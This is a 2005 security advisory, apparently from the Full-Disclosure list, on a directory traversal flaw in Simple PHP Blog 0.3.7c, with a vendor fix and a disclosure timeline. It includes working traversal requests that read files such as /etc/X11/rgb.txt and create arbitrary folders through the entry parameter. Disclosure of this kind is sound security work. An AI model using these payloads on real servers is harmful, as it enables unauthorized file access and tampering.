Simple PHP Blog directory traversal vulnerability

[Madelman <madelman () iname com>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Title: Simple PHP Blog directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 02/01/2005
Severity: Moderate

Summary:
- --------

I started this project because I wanted a dead-simple blog. Something
that didn't require a database, used flat text files, and looked nice.

The main advantage of using Simple PHP Blog is that it only requires PHP
4 (or greater) and write permission on the server. Unlike other blog
software, there is almost no setup - just unzip and copy...
(from vendor site: http://www.bigevilbrain.com/sphpblog/)

SPHPBlog doesn't check the entry parameter which allows directory traversal

This vulnerability has been tested with SPHPBlog 0.3.7c


Details:
- --------

We can read any file with TXT extension (in this example /etc/X11/rgb.txt)

REQUEST:
http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb

returns the content of the file


We can create arbitrary folders in the filesystem and the content of the
post will be saved in this folder.

To create folder http://[SERVER]/sphpblog/createdir/

REQUEST (this must be a POST request and we must modify entry parameter):
http://[SERVER]/sphpblog/comment_add_cgi.php
~    entry=../../../createdir


Solution
- --------

Update to latest version (at this moment 0.3.7r2)


Timeline
- --------

02/01/2005 - Vulnerability found
02/01/2005 - Vendor contacted
02/01/2005 - Vendor confirmed and implemented a patch for the first vuln
04/01/2005 - Vendor implemented a patch for the second vuln
07/01/2005 - Advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB3nXf3RWooxY20cIRAo1gAJ4zAa8W9sthSPOtbs8tKMj/HgDWHwCdGbf/
/x7WTmTzJDdLNpSKSuyPEgc=
=uNOC
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html